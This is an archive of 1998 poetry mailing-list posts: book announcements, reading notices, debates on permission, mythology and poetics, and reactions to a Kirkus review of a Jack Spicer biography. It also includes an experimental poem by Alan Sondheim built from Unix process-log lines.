> Carried in the mouth of the all-devouring moth
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> Ire on both their houses, spouses, now that the mold's on,
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> Nikuko wove out of herself a newer, molten self
> > has closed h eyes, her ck exposed.
> Alan's half-formed, Nikuko, vomiting, supposed.
> >
> >>
>

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669. **jarnot**
Bernadette Mayer book
Wed 27 May 1998

Announcing the publication of

Another Smashed Pinecone
by
Bernadette Mayer

United Artists Books, 1998
ISBN 0-935992-20-0

including many previously unpublished poems such as "I Like to Go To Bed with Paul Goodman," "The Men from Modernistic" and "Generic Elbows."

Ange Mlinko writes: "the poems in Another Smashed Pinecone reveal the drama of the imagination in its springtime, coaxing the world to renew itself with language earnest, delicious, rising, cresting, into the spectacular."

available from:
United Artists Books
701 President St. #1
Brooklyn, NY 11215

$10.00 plus $1.50 shipping.

make checks payable to United Artists books.

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670. **Brent Long**
Reading In Providence
Wed 27 May 1998

For Any List Members In Providence Area:

As you well know, there are few (if any) acceptable readings in Providence (except the Brown Series, which is not open to outside participants). Until now.

The Apokatastasis Reading Series began last night, and while the crowd was a small one, the quality of the poetry and short fiction presented there was a much needed and refreshing change for this area.

The details are as follows:

Every Tuesday night at 8P.M. at Myopic Books on South Angell Street.

Sign-up for the open reading begins at 7:30.

$2 entry fee includes bottomless cup of coffee (not that Folger's crap, either). You may also bring your own beer, wine, etc.

5 minute time limit per person for the open reading.

Featured readers receive $30 and read for 35-45 minutes.

For more info., feel free to e-mail me @ [redacted]

Brent

<paraindent><param>left,out</param>- They said I was avant garde...little did they realize, I just didn't give a shit.

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671. **Chuck Stein**
Re: Byrd's reply 2 Alex and droffolino's quest
Wed 27 May 1998

---

louis stroffolino wrote:
>
> Don--thanks for thoughts on PER-MISSION....
> so, I'm reading the latest LUNGFULL magazine and finding note
> from ANSELM BERRIGAN on his poem therein included:
> "the poem is an attempt to figure out what might be "permitted"
> to do in 1998, & how not to do that & therefore continue
> (& not intended as a slag on R. Duncan, by the way, but a
> use of his half-line as extension into a field that requires
> some clearing"-------
> (the line by the way is "often i am permitted/ to blow my

> brains out") Now, this may be one of the ways it's possible
> "to draw back from the representations of the Gods to the
> attentions that worshipped them"----
> although perhaps to someone in their 50s this may seem
> too "adolescent", but considering that 1998 may be EVEN
> MORE REPRESSIVE and TOTALITARIAN than 1950s was, maybe
> "adolescent" emotions need to be valorized, or at least
> cathartically, in poetry (so it can still serve some kind
> of safety valve function for suicide urges....)....
> and so I also therefore give permission to Steven ROdefer
> to Heckle Ondaadje (sp?)
> and give Ondaadje permission to donate proceeds to the KSW!
> and maybe somebody will give me permission to indulge my
> LOGORRHEA as Duncan's was indulged.....
> chris
>
> On Fri, 22 May 1998, Don Byrd wrote:
>
> > charles alexander wrote: -- the obvious thing to do is
> >
> > > to take things from southwestern/Sonora desert indigenous peoples, relating
> > > to living well with the earth here. We may do some of that. But I also want
> > > to do some non-obvious things. I already have a bunch of potential
> > > selections from poetry & art (some wonderful things from Eva Hesse) -- but
> > > if anyone can suggest other possibilities, I'll be forever grateful.
> >
> >
> >
> > Gravelly hill was 'the source and end (or boundary' of
> > D'Town on the way that leads from the town to Smallmans
> > now Dwelling house, the Lower
> > Road gravelly, how the hill was, not the modern useableness
> > of any thing but leaving it as an adverb as though Earth herself
> > was active, she had her own characteristics, she could
> > stick her head up out of the earth at a spot
> > and say, to Athena I'm stuck here, all I can show
> > is my head but please, do something about
> > this person I am putting up out of the ground into your hands.
> >

> > --"at the boundary of the mighty world," _Maximus_, p. 330)
> >
> > And Chris asks why we do not have O'Hara's permission. Why do we not have
> > Olson's? to call, as creatures of earth, on Athena herself? Or Duncan's
> > permission to return to the meadow where we hear everlasting rumors of What Is?
> > or H.D.'s (thinking of Bowering's recent post).
> >
> > It is a real problem. Mythology has been bought up by New Age
> > commercialism, and, to a certain extent, even the environmental movement has
> > been colored by it. I am glad to hear, Charles, that you are trying not to draw
> > too much on the indigenous people. As much as one admires their culture, it
> > does not have much to teach us _directly_. It was local and the numbers
> > involved were small. We are now five billion (and growing) on a small earth and
> > all subject to the same market.
> >
> > Is it possible to draw attention back from the representations of the
> > gods to the attentions that worshipped them? Something of this order would seem
> > to be task. The images of mythic beings are altogether too conveniently
> > available (mindlessly) in video games. What are the rhythms and movement of
> > spirit that correspond to what might once have been available through those
> > images?
> >
> > Don
> >
> > --
> > ***
> > Don Byrd ([redacted], [redacted])
> > Department of English
> > State University of New York
> > Albany, NY 12222
> > [redacted] (work); [redacted] (home); [redacted] (fax)
> > The Little Magazine (http://www.albany.edu/~litmag/)
> > ***

> >
What if permission were not a matter of moral permission--I let you do that--I give myself permission to do this or that--but a matter of something much more like mathematical injunction: I discover a certain possibility and invoke it. "I am permitted to return to a meadow" certainly has an overtone of being allowed as it were by the gods, but it is simultaneously and perhaps more importantly such an injunction.

Also on mythology. The topic is too broadly stated. Mythology can be used to cut through mythology. Mythology does not stay on a single level. In one sense, everything is mythology. In another all mythology is reductive to something else. But within the mythological as a frame it is possible I think to cut through the co-optation of first order mythology as well as its reduction, via say psychology, to a familiarly psycholgocial use.

Charles Stein

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672. Keston Sutherland
New Book by J.H. Prynne
Wed 27 May 1998

Barque Press presents _Red D Gypsum_ by J.H. Prynne

Now available to those in the US / Canada at $7.00 incl. postage

Please send checks to:
Keston Sutherland
537 Winthrop Mail Center
Harvard
Cambridge MA 01238-7531

Pleas e- me in advance, so that I can send the book as early as possible.

I'll be at this address only for a couple of weeks, so any checks sent after about ten days or so should go instead to Peter Riley, who can be contacted at: [redacted] -- this may involve sending sterling, or a slight price alteration.

This is a surpassingly important and impressive book by one of our most esteemed and influential poets, currently producing what many (including myself) consider to be the best work of his career.

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673. **Safdie Joseph**
Re: mythology
Wed 27 May 1998

Wonderful to see Charles Stein post something to the list . . . I may not have seen his name in print since the "Alchemy" issue of _Io_ magazine! Now all we need is Robert Kelly (and Richard Grossinger? Did I see HIS name also in the last week?) and we can resurrect the whole "deep image" school of the early 70s right here in cyber space . . .

But seriously folks, I for one would be very interested in people's takes on "mythology" circa mid-1998, on whatever level or cutting abilities it may have. If I remember some fanciful etymology from Olson's _Mutholog os_ we can even link it to the previous thread on stammering and stuttering . . . does myth . . . inform people's imaginations anymore? Are there those, like me, whose deepest sense of education was not exclusively poetics, but classics? Are Jung, Joe Campbell, "The Truth and Life of Myth" -- obsolete? Representative of the derrier garde? Can "langpo" and "mythpo" coincide? I'm genuinely curious!

Joe

> *What if permission were not a matter of moral permission--I let you do that--I give myself permission to do this or that--but a matter of something much more like mathematical injunction: I discover a certain possibility and invoke it. "I am permitted to return to a meadow" certainly has an overtone of being allowed as it were by the gods, but it is simultaneously and perhaps more importantly such an injunction.*
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> *psycholgocial use.*
>
> *Charles Stein*

↑ Index

674. **Irving Weiss**
URL change
Wed 27 May 1998

Having received notice from my URL provider, GeoCities, that it will not allow selling or links to selling on any website and will remove such sites by June 1;

and I having answered that the likelihood of my making a profit beyond expenses on my publications is droll, I searched for "free home pages" and discovered Tripod, where I am now located at

http://members.tripod.com/~sialbach/index.html

with your indulgence,

Irving Weiss

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675. **Mark Weiss**
Re: mythology
Wed 27 May 1998

For recent Stein, see his _The Hat Rack Tree: Selected Poems from theforestforthetrees, 1980-1993_ (Station Hill 1994).

As to mythology, one can recognize and be humbled by the power of the great irrational forces, even give them names and volition, without subscribing to the notions of Jung and his spiritual and political disciple Campbell, who I for one hope are becoming not so much obsolete as historical artifacts. And one can read and learn from Duncan (I do) without sharing all of his assumptions.

More troubling to me than their trivialization of the gods is the trivialization of their passions and fears that my students often exhibit. I remember talking to a class about eros as an implacable generative and destructive force and being greeted by titters. It seems that eros in their minds had been reduced to a particularly pleasurable form of calesthenics. Of course they were very young. But it seems to me that the culture of the video game serves that trivialization, which in turn is a defense against the terror that the novice, standing at the gate, must feel.

At 10:28 AM 5/27/98 -0700, you wrote:
>Wonderful to see Charles Stein post something to the list . . . I may
>not have seen his name in print since the "Alchemy" issue of _Io_
>magazine! Now all we need is Robert Kelly (and Richard Grossinger? Did I
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>> that--I give myself permission to do this or that--but a matter of
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>> possibility and invoke it. "I am permitted to return to a meadow"
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>> it is possible I think to cut through the co-optation of first order
>> mythology as well as its reduction, via say psychology, to a
>> familiarly
>> psycholgocial use.
>>
>> Charles Stein
>>
>
>

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676. **Gary Sullivan**

Permission

Wed 27 May 1998

Permission, w/respect to the arts, is only an issue if one desires it (or if one's project requires it) from anyone taking such authority into their hands as to grant or deny it. The questions then become: (a) why desire that? and/or (b) what sort of art project is it that requires it to function? And, further (c) what person or body politic would take such authority into his/her/its hands?

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677. **R. Gancie**

As a youth doomed to be the incarnation of Carl Friedrich von Weizsaecker

Wed 27 May 1998

"Progress in our science has over and over again been linked with a critique of foundations. In the major adavncements, the accumulation of experience is of little use. One has to ponder the foundations, one must reflect on the fundamental terms, which is precisely what people like Einstein or Bohr or Heisenberg did in our century. When, as a young physicist and a student of Heisenberg's, I myself came upon physics and tried to study it, it very soon became clear to me that I did not understand this subject. It was not that I was unable to integrate differential equations or to discuss with an experimental physicist the probable results of his experiments. But I did not understand the concepts with which one tries to express the meaning of these differential equations. I was naive at first, credulous, as a student perhaps should be, and I assumed my teachers knew these meanings while I had not yet advanced far enough to grasp them. As I came to know these teachers better, and could question them, it turned out that they, too, including some noted scientists among them, failed to grasp them. To be sure, they were eminently capable of applying physics and of enriching it. But, asked to give a strict account of the meaning of their fundamental terms-matter, energy, causality, prediction, experience, etc.-they had to admit, especiaaly if they were clear-headed thinkers: We use these terms simply because they work so well for us. It was simply to difficult for them to give a genuine account...." "Where do these concepts come from? Very soon it became apparent that they normally come not from science but from philosophy...What we called school philosophy was in part a way of thinking that was rather critical of modern science. Thus, positivism commended itself. It said: You scientists are right; hand in hand with you, we combat the fruitless, useless tradition of school philosophy. But when I tried to fully understand positivist philosophy, it turned out that it, too, could not justify its own basic concepts; the concept of experience, for example, which it presupposed, crumbled when subjected to an increasingly stringent, self-critical analysis (an analysis practiced, one must hand it to them, by positivists themselves), until in the end it was very difficult to say what could be meant by experience at all. In any case, I concluded that positivist philosophy would not be able to teach me what modern science is. I then turned to its opponents-in fact, I turned directly to the greatest one among them, namely Immanuel Kant."---from The Unity of Nature by Carl Friedrich von Weizsaecker

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678. **Jordan Davis**
some other poetics of summer
Wed 27 May 1998

Chris --

What I said was:

I don't think any of us who argue that O'Hara had a better-populated mood palette than Gary argued would argue that it's possible to write like O'Hara -- not only does none of us have the datebook of an O'Hara, not only are we more restricted in our permissions (don't ask don't ask!), we have a somewhat different culture to pick and choose from.

--cut--

This I think says something like what you were saying about 1998 being somehow more repressive than 1958 (tho less tense than May 68? past perfect?). No one writes like O'Hara, no one writes like Olson. Why do we seek the dead among the living? Is it true as they say in this system that it's easier to get forgiveness than permission?

It's probably bogus, the diachronic study of permission. Power may seem to be letting you do what you want, go run down the hill into the meadow, while you're there I'll be upstairs privatising some utilities. I mean, yes, the permission to teach Benjamin Barthes Baldwin and O'Hara to first-year comp students, but also the fetter of permanent adjuncthood.

Of course, to be mordantly recursive about it, we could say that the fetters we wear are the permissions we grant to the regents deacons elders and trustees to violently paraphrase us in a remade-for-miniseries product placement binge in which we figure out that we can make it if we replace ourselves with Junior Mints. My shackle's minty, how's yours?

Or are we the cabbies, finally getting some airtime, looking in the camera and saying, why can't we work together to solve these problems? and change the channel and get the major network hijacked by their miniseries's star into donating two-percent of ad revenue to literacy programs mocking literacy programs and messing up a bit done right in '82 by Bill Murray.

Finally, though, is subversion approval? Can the permission we give ourselves subvert the hope that led us to invent it, and can our intentions throw the prime directive out and intervene at last in the endless drudgery of our therapies? These questions and many many many more are answered here, daily, silently, no? no? no?

(don't ask don't ask),
Jordan

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679. **Carrie Etter**
Berkeley readings?
Wed 27 May 1998

I'm coming up to Berkeley tomorrow through Sunday for a conference and wonder if there will be any readings in the immediate area.

Thanks,
Carrie Etter

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680. **Mark Weiss**
(no subject)
Wed 27 May 1998

Here, for the list's amusement, the Kirkus review of the Spicer biography as reprinted at amazon.com. Any doubts that there's a culture war going on? It would be nice to know who the perpetrator was.

From Kirkus Reviews , 05/11/98:
Beat insider Ellingham and novelist Killian (Shy, 1989, etc.) have here embraced a most resistant, though not unworthy,
subject in poet Jack Spicer. Spicer catalyzed the development of the Beat Generation in 1950s San Francisco. Though few
literary tales have been told more often (or more tediously) than those pertaining to the Beats, Spicer's own has been at best ill
served, and at worst wholly ignored, by the prevailing mythologies of the time. The authors have thus been admirably careful to
keep their focus on the enigmatic Spicer, whose life and verse grew progressively more estranged, indeed bitterly so, from
those of his more visible peers. In following Spicer's California odysseyþending brutally in San Francisco, where he died from
alcohol-induced liver failure in 1965, aged 40þEllingham and Killian tread too lightly on their subject's more troublesome
personality traits, e.g., his entrenched anti-Semitism and boorish bad will toward those poets daring enough to court his
approval. This largesse would rankle less, however, had they not chosen to extend it to the poetry itself, which, while capable
of startling effects and moving lyricism, frequently succumbs to the same narcissistic bloat that long ago rendered the Beat
temperament clich,. Instead, the authors have provided, albeit in impressive detail, a cosmology of poetic egotism, with

Spicer's now the origin. Ultimately, Spicer's legacy, like that of any devalued artist, must endure the trial of rigorous critical appraisal. Despite the current academic fashion, literary resurrections of this sort cannot be taken on faith, but rather require a proof that the authors, true believers both, fail to supply in this otherwise well-researched and readable biography. (30 b&w photos) -- Copyright ©1998, Kirkus Associates, LP. All rights reserved.

↑ Index

681. Maria Damon

a nice announcement

Wed 27 May 1998

---

just to report that brian horihan, an undergraduate advisee of mine whom some of you know, was awarded a prize for the best summa thesis in the College of Liberal Arts today at the U of MN.. ...and better yet, in his thank you speech he talked about hannah weiner. it thrilled me to have all these minnesotans hear about hannah, and it thrilled me that brian's talents were being recognized.

↑ Index

682. Alan Myouka Sondheim

NAKED ALAN AND NIKUKO NAKED COPY AND RUN AROUND SOME FILES

Thu 28 May 1998

-

NAKED ALAN AND NIKUKO NAKED COPY AND RUN AROUND SOME FILES

CRON RUNNING LIKE CRAZY BUILDING AND TEARING DOWN!
n: < root 17527 c Wed May 27 19:50:00 1998
n: > root 13968 c Wed May 27 19:50:00 1998
TURNING INSIDE-OUT MACHINE ON AUTOMATIC REOPENING WIDE!
n: < root 13968 c Wed May 27 19:50:00 1998
n: > CMD: 24779 c exec /usr/local/bin/maint/erpcd-reopen
n: > root 24779 c Wed May 27 19:50:00 1998
UNTIL NIKUKO CAN'T STAND IT ANY LONGER, NEEDING UPDATING!
n: > CMD: 24780 c /users/remailer/bin/update
n: > remailer 24780 c Wed May 27 19:50:00 1998
n: < root 24779 c Wed May 27 19:50:01 1998
n: < remailer 24780 c Wed May 27 19:50:01 1998
UNTIL ALAN BEGS "RUN NIKUKO" "NIKUKO MAKE"
n: > CMD: 16187 c /usr/local/adm/accnt/data/radius/RunMake
n: > accnt 16187 c Wed May 27 19:50:00 1998

OH NIKUKO OPENS HER EYES THEN, YES SHE DOES!
n: > CMD: 16188 c exec /usr/local/bin/maint/erpcd-reopen
n: > root 16188 c Wed May 27 19:50:00 1998
OH NIKUKO STUFFS HIS COPY OF NIKUKO "MAKING NIKUKO"
n: > CMD: 16190 c /usr/local/bin/newuser/copystuff
n: > root 16190 c Wed May 27 19:50:00 1998
n: < root 16190 c Wed May 27 19:50:01 1998
n: < root 16188 c Wed May 27 19:50:01 1998
OH ALAN COPIES HIS STUFF OF ALAN "MAKING NIKUKO"
n: > CMD: 16210 c /usr/local/bin/newuser/copystuff
n: > root 16210 c Wed May 27 19:51:00 1998
n: < root 16210 c Wed May 27 19:51:01 1998
12704 c Wed May 27 19:51:09 1998
OH YES SHE IS NIKUKO!
n: < root 17106 c Wed May 27 19:51:09 1998
n: < root 13023 c Wed May 27 19:51:11 1998
OH YES NIKUKO IS DESPERATE FOR REOPENING UPDATING!
n: < root 24370 c Wed May 27 19:51:12 1998
OH YES NIKUKO LIKES THAT A LOT THAT UPDATING!
n: < root 15943 c Wed May 27 19:51:11 1998
NOW ALAN AWAITS NIKUKO FOR HIS REOPENING!
n: > CMD: 16742 c exec /usr/local/bin/maint/erpcd-reopen
OH NIKUKO NOW YOU HAVE REOPENED ME AND IT IS SO FUN!
n: > CMD: 17493 c exec /usr/local/bin/maint/erpcd-reopen
OH ALAN NOW YOU HAVE REOPENED ME AND IT IS SO FUN!
n: > CMD: 18432 c /usr/local/adm/accnt/data/radius/RunMake
n: < root 18437 c Wed May 27 19:52:01 1998
OH ALAN YOU HAVE MADE ME RUN AND "MAKING NIKUKO"
n: > root 18444 c Wed May 27 19:54:00 1998
n: < root 19231 c Wed May 27 19:54:01 1998
n: < root 19634 c Wed May 27 19:55:01 1998
OH NIKUKO YOU HAVE "MAKING ALAN" AND "MAKING NIKUKO"
n: > CMD: 19677 c /usr/local/adm/accnt/data/radius/RunMake
n: > root 20125 c Wed May 27 19:56:07 1998
OH MANY NIKUKOS AND MANY ALANS IT IS SO FUNS!!!!!
n: > root 20314 c Wed May 27 19:57:00 1998

{k:458} shutdown -h FORKBOMB!
{k:459} wall APPARENTLY THERE ARE STILL PROCESSES RUNNING
{k:460} exit

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683. **Maria Damon**
Re: spicer review
Thu 28 May 1998

seems to me that the review reflects a certain aesthetic and intellectual timidity disguised as authoritarian curmudgeonliness. this nonsense about "time will tell" if spicer's a good writer or not indicates that the reviewer is incapable of understanding literature that has not been predigested and either canonized or cast aside, and he feels uncomfortable making any evaluation in the review, since it's clear that he himself has never read spicer's work, and has almost certainly never sat in a class where a teacher told him what to think about spicer.

At 11:44 AM -0400 5/28/98, DANIEL L. COLLIER wrote:
>Mark, et al.,
>
>What's the story behind Kirkus reviews? The Spicer review is
>remarkably similar to a hideous sermon I sat through at an
>archly conservative wedding last summer (had to remind himself
>to say "hey, have a good life" between references to "our
>neo-pagan age" as he performed the oh so unpagan catholic
>rites of marriage). And I noticed Kirkus recently when searching
>for a Daniel Kharms book... they haughtily dismissed him as
>well.
>
>Danny
>[redacted]
>[redacted]
>
>"Hey, it's our anniversary and I remembered!" - me

↑ Index

684. **Chuck Stein**
mythology
Thu 28 May 1998

These are some further notes on the mythology thing going round.And a bit more on my remark yesterday about "permission" and mathematics.

Consider a poetics of the many colors of unknowing--what the issues would be.

A gnosis or (a-)gnosis: a knowing that subsists in every conscious moment of unknowing; a knowing not of being, if being is limited to the existent, the determinate; but an (a-)gnosis of being itself if, rather, being were the

enigmatic issuance of whatever comes to seem to be: to install oneself in that (a-)gnosis of the issuance and to COMPOSE from the emergent.

The "Poetics of this situation" would involve a species of emergent mythology: tale fragments, images, traces, gestures, charades, stammerings--messages of and from that which decays into its own manifestations but yet haunts them, rides, them, imbues them, taunts with feignts and lurings, blasts and pronunciamentos, picking up the shards of whatever mythemes, (a-)theologemes, (anti-)ideologemes seem to stand in the path.

By the mathematical sense of permission I mentioned yesterday I meant this:

Let X= a + b. This "letting" is an injunction, a command to initiate an engagement of the mind. It has the advantage of being trackable.You can see the act by which what follows was enjoined. Now in poetry, a mythologeme can be enjoined in a similar manner. An association may be declared, brought, through the act of the poem, into the arena of possible thought or intention. This is not to enforce an assertion by priviledged reference but to open what is possible to be entertained or entered into. To me, the usefulness of Duncan's legacy has more to do with such acts of mythology than any general valorization of the mythological as such.

Charles Stein

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685. **Mark Prejsnar**

The Bloated Professoriate (vs. Spicer)

Thu 28 May 1998

A day or so ago I snapped at the recent article in Lingua Franca. While the author of that piece was a. not anonymous; and b. fairly bright; nonetheless there are overlaps with the poor dunderhead in Kirkus....

They both assume, because of their own ignorance, that Spicer is unimportant and unknown. Their familiarity with the contemporary poetry scene is (to put it kindly) minimal.

Both these articles bring into high relief, the gap between a large part of academe and the world of working poets. Admittedly the Kirkus writer is exceptionally stupid and remarkably arrogant for such an inept and ill-informed reviewer. Even so, his/her attitude (and ignorance) are representative. The idea that a poet as influential as Spicer needs to be "resurrected" is a striking common thread present in both these academic articles.

OK, these writers are ill-equipped to deal with their subject; and in the Kirkus case, pretty clearly unqualified to deal with poetry at all. (One of the most

succint and least self-involved of all significant 20th century poets....And what does this genius dismiss him as? "Narcissistic bloat"..The idea does occur, that the Kirkus piece is too stupid to be real; can it be that this is all a parody?) But the real message is not the inadequacies of certain reviewers. That they could imagine Spicer is of no import, and that responsible editors would print that claim, are indications of the chasm between much of the academic world, and the world of actual contemporary poets...

from the spicer islands
(no man is an)
Mp

On Thu, 28 May 1998, DANIEL L. COLLIER wrote:

> *Mark, et al.,*
>
> *What's the story behind Kirkus reviews? The Spicer review is remarkably similar to a hideous sermon I sat through at an archly conservative wedding last summer (had to remind himself to say "hey, have a good life" between references to "our neo-pagan age" as he performed the oh so unpagan catholic rites of marriage). And I noticed Kirkus recently when searching for a Daniel Kharms book... they haughtily dismissed him as well.*
>
> *Danny*
> [redacted]
>
> *"Hey, it's our anniversary and I remembered!" - me*

↑ Index

686. **DANIEL L. COLLIER**
Re: <no subject given>
Thu 28 May 1998

Mark, et al.,

What's the story behind Kirkus reviews? The Spicer review is remarkably similar to a hideous sermon I sat through at an archly conservative wedding last summer (had to remind himself to say "hey, have a good life" between references to "our neo-pagan age" as he performed the oh so unpagan catholic rites of marriage). And I noticed Kirkus recently when searching for a Daniel Kharms book... they haughtily dismissed him as well.

Danny
[redacted]

"Hey, it's our anniversary and I remembered!" - me

↑ Index

687. **morpheal**
Re: mythology [followed by DADA, deconstruction, and silence]
Thu 28 May 1998

> *Consider a poetics of the many colors of unknowing--what the issues would be.*

I presume because unknowing, as a deconstructive movement towards knowing nothing, is to be considered safer, in a DADAistic kind of way, than is any movement towards more definite and ground breaking understanding ?

Many do feel that way. They are encouraged to feel that way.

The same strand of thinking pervades the recent trend to deconstruct any musical and lyrical materials (therefore poetic materials), via technological devices, such that the artifacts that are produced by complexes of intentionality and chance elements create new non meanings. The non meanings, or unknowings of the original artistic intentions and content, becoming the work of art, or work of new performance. This is at the very core of "techno", and resembles "techno shamanism" as to its apparent implications of meanings. Though "techno" also becomes the protest against the substance of its roots and origins. DADA served a similar function within the larger political situatedness. (Do we ever learn from such concatenations of poetic and political events ?)

Is a future poetics to be more DADA, and deconstructive, than it is to be anything else ? Is that the ideologically influenced tendency ? The tendency to say less and less with more and more sounds ? More and more sounds becoming a kind of poetic silence, comprised from a potentially infinite number of poetic voices ? Ah, an "angelic" chorus.... that ultimately reveals nothing new, in all its presages of infinite newness, and making the old new again,.... Not so "angelic" after all. No more angelic as an instantiation of any "heavenly host" than martial music and goose stepping troops in precise military formations.....There is in fact a connection between the two (radical deconstruction and military challenge).

> *A gnosis or (a-)gnosis: a knowing that subsists in every conscious moment of unknowing; a knowing not of being, if being is limited to the existent, the determinate; but an (a-)gnosis of being itself if, rather, being were the enigmatic issuance of whatever comes to seem to be: to*

> *install oneself in that (a-)gnosis of the issuance and to COMPOSE from the emergent.*

Gnostics are the keepers of secret knowledge. They claim to safeguard true knowledge, available only to initiates. You could argue that for something radically new to be learned, something must first be unlearned that conflicts with that new knowledge. That, of course, is not always true. Sometimes the new knowledge is simply added to what else was already known.

What that has to do with the craft of writing poetry, remains at best obscure. Perhaps you can elaborate further....to clarify what you are saying.

> *The "Poetics of this situation" would involve a species of emergent mythology: tale fragments, images, traces, gestures, charades, stammerings--messages of and from that which decays into its own manifestations but yet haunts them, rides, them, imbues them, taunts with feignts and lurings, blasts and pronunciamentos, picking up the shards of whatever mythemes, (a-)theologemes, (anti-)ideologemes seem to stand in the path.*

The motions become theatre. There is, of course, a grey area, between performance of poetry and thespian performance. There is no clear dividing line. The poem can be a one act play. Can it also be a charade or mime ? Then the poetry is the silence, and the theatre is the gesture.

> *By the mathematical sense of permission.....*

Mythematics in poetics.....(After all, mathematics is ultimately another language, same as the language of poetry is another language, for the creation of myths. Both kinds of myths are potentially explanatory, predictive, useful, if they happen to say something that is "true" about the world.)

> *Let X= a + b. This "letting" is an injunction, a command to initiate an engagement of the mind.*

Creating an infinite set of possible values for all three variables. Poetry is in fact more precise and limited as to its meaningful arrangements.

M.

aka

Bob Ezergailis

(No known relation to that political science professor on the net.)

↑ Index

688. **Erik Sweet**

Re: mythology [followed by DADDY, construction, and silence]

Thu 28 May 1998

In a message dated 5/28/98 11:46:35 AM, you wrote:

<<The same strand of thinking pervades the recent trend to deconstruct any musical and lyrical materials (therefore poetic materials), via technological devices, such that the artifacts that are produced by complexes of intentionality and chance elements create new non meanings. The non meanings, or unknowings of the original artistic intentions and content, becoming the work of art, or work of new performance. This is at the very core of "techno", and resembles "techno shamanism" as to its apparent implications of meanings. Though "techno" also becomes the protest against the substance of its roots and origins. DADA served a similar function within the larger political situatedness. (Do we ever learn from such concatenations of poetic and political events ?)
>>

Are you talking about the musical (genre) Techno as in the cousin to Detroit House music?

If so, what about Africa Bambatta (sp?) in the Bronx in the 70s breating beats to Kraftwerk the freakish German Techno/Dada music group which sounded like robots and planes taking off- Hip-Hop music and its wide variety of sampling is very (postmodern) I hate that term (except when Olson uses it) and seems at its core to break the idea of creating new- Look at Puff Daddy winner of grammy's etc/ in hip-hop he adds nothing new to the situation- all he does is pre-program hits by Bowie , The Police etc and re- represent them-People don't care- originality, as in the Apple campaign means "fitting in, and creating trends) see Craig Mack in his 1994 video "Flavor in Your Ear) in which he wears a hockey jersey-that summer in Buffalo every kid on the corner had the same hockey jersey-"think different buy apple fit in)

Is our culture mimicing technology by moving in circles and borrowing "retro" styles and bringing things back from the 70s (such as Kraftwerk and disco culture) or are we standing still?

erik sweet

↑ Index

689. **Chuck Stein**
Re: mythology [followed by DADA, deconstruction, and silence]
Thu 28 May 1998

---

morpheal wrote:
>
> >Consider a poetics of the many colors of unknowing--what the issues
> >would be.
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> I presume because unknowing, as a deconstructive movement towards knowing
> nothing, is to be considered safer, in a DADAistic kind of way, than is any
> movement towards more definite and ground breaking understanding ?
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> musical and lyrical materials (therefore poetic materials), via
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> infinite number of poetic voices ? Ah, an "angelic" chorus.... that
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> making the old new again,.... Not so "angelic" after all. No more angelic as
> an instantiation of any "heavenly host" than martial music and goose
> stepping troops in precise military formations.....There is in fact a
> connection between the two (radical deconstruction and military challenge).
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> >being were the enigmatic issuance of whatever comes to seem to be: to
> >install oneself in that (a-)gnosis of the issuance and to COMPOSE from
> >the emergent.
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> Gnostics are the keepers of secret knowledge. They claim to safeguard true
> knowledge, available only to initiates. You could argue that for something
> radically new to be learned, something must first be unlearned that
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> Poetry is in fact more precise and limited as to its meaningful arrangements.

>
> M.
>
> aka
>
> Bob Ezergailis
>
> (No known relation to that political science professor on the net.)

...

I'll try, at this moment, to answer quesetion about what this has to poetics.

These steps. A state of unknowing, a suspension of the cognitive, wherein the cognitive as such, knowing as such, remains the modality, the way of holding oneself, etc. Not so much a cloud of unknowing, but a suspension of assertoric grasping. Yet the discovery that you might call it the will-to-know remains. Staying with that. And persuing the discovery. Poetic utterance, mythic material, emregent possibilities of discourse, to get it out, to get it said, what sits on the edge of what can be said,--not an abandonment of articulation, but articulation at the liminal edge of knowing. That this is a source of creative involvement. That it is for me, anyway. That its relevance is parallel various techno-issues but not identical with them (George Quasha and I have written three monographs and a series of articles on the Video-poetics of Gary Hill, the video-installation artist, which try to dope out some of these issues--I'll post references to them when I get a minute.) Such a state could, metaphorically be linked to shamanic states, but I don't particularly favor the valorization of poetics by REFERENCE to the shamanic. The point is not to call it shamanic. But what might that be about if you try it? What do you find out it impells?

As to its infinite potentiality, its infinite chorus. Well, perhaps. But in practice it's a matter of what concretely emerges, and what one is able to compose with what does emerge. I don't propose some sort of method, value the method, and validate examples of its use. I was raising this business, just to throw another angle on what a possible use of the mythological might look like, to complicate the discussion. And see if something other than the leap to the most universal level--like what we all ought to be doing or allowing--could sound like.

Gnosticism. Seems pretty much up for grabs these days. Certainly after Harold Bloom's book. And I entertain that language, for myself, because I do find myself engaged in reading Nag Hammadi texts, say, with a lot of interest, and do want to keep open this possibility: that there is an important sense of knowing that arises at the intutive interface of language and mind; that it is what used to be the source of mytho-poetic authority, but NOW does not need any longer to exert such authority--that there is another possibility inherent in

its practice. And the crucial point is not to get hung up on the idea that something is validated because its called mythological or shamanistic or gnostical. But the word still might point to somthing interesting.

enuf

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690. **Maria Damon**

Re: The Bloated Professoriate (vs. Spicer)

Thu 28 May 1998

---

actually i wouldn't blame the "professoriate" for this one. i'm a prof, charles b is a prof, susan howe is a prof, nate mackey is a prof, mark scroggins is a prof, mark nowak is a prof, etc etc etc. it's pretty clear that the person you compassionately refer to as "the poor dunderhead in kirkus" is not a prof. no contemporary scholar of the humanities would be caught dead saying anything as pathetically vapid as "time will tell."

At 11:36 AM -0400 5/28/98, Mark Prejsnar wrote:
>A day or so ago I snapped at the recent article in Lingua Franca. While
>the author of that piece was a. not anonymous; and b. fairly bright;
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>They both assume, because of their own ignorance, that Spicer is
>unimportant and unknown. Their familiarity with the contemporary poetry
>scene is (to put it kindly) minimal.
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>Both these articles bring into high relief, the gap between a large part
>of academe and the world of working poets. Admittedly the Kirkus writer
>is exceptionally stupid and remarkably arrogant for such an inept and
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>articles.
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>OK, these writers are ill-equipped to deal with their subject; and in the
>Kirkus case, pretty clearly unqualified to deal with poetry at all. (One
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>century poets....And what does this genius dismiss him as? "Narcissistic
>bloat"..The idea does occur, that the Kirkus piece is too stupid to be
>real; can it be that this is all a parody?) But the real message is not
>the inadequacies of certain reviewers. That they could imagine Spicer is
>of no import, and that responsible editors would print that claim, are

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>On Thu, 28 May 1998, DANIEL L. COLLIER wrote:
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>> Mark, et al.,
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>> What's the story behind Kirkus reviews? The Spicer review is
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>> to say "hey, have a good life" between references to "our
>> neo-pagan age" as he performed the oh so unpagan catholic
>> rites of marriage). And I noticed Kirkus recently when searching
>> for a Daniel Kharms book... they haughtily dismissed him as
>> well.
>>
>> Danny
>> [redacted]
>> [redacted]
>>
>> "Hey, it's our anniversary and I remembered!" - me
>>

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691. **David Kellogg**

Re: The Bloated Professoriate (vs. Spicer)

Thu 28 May 1998

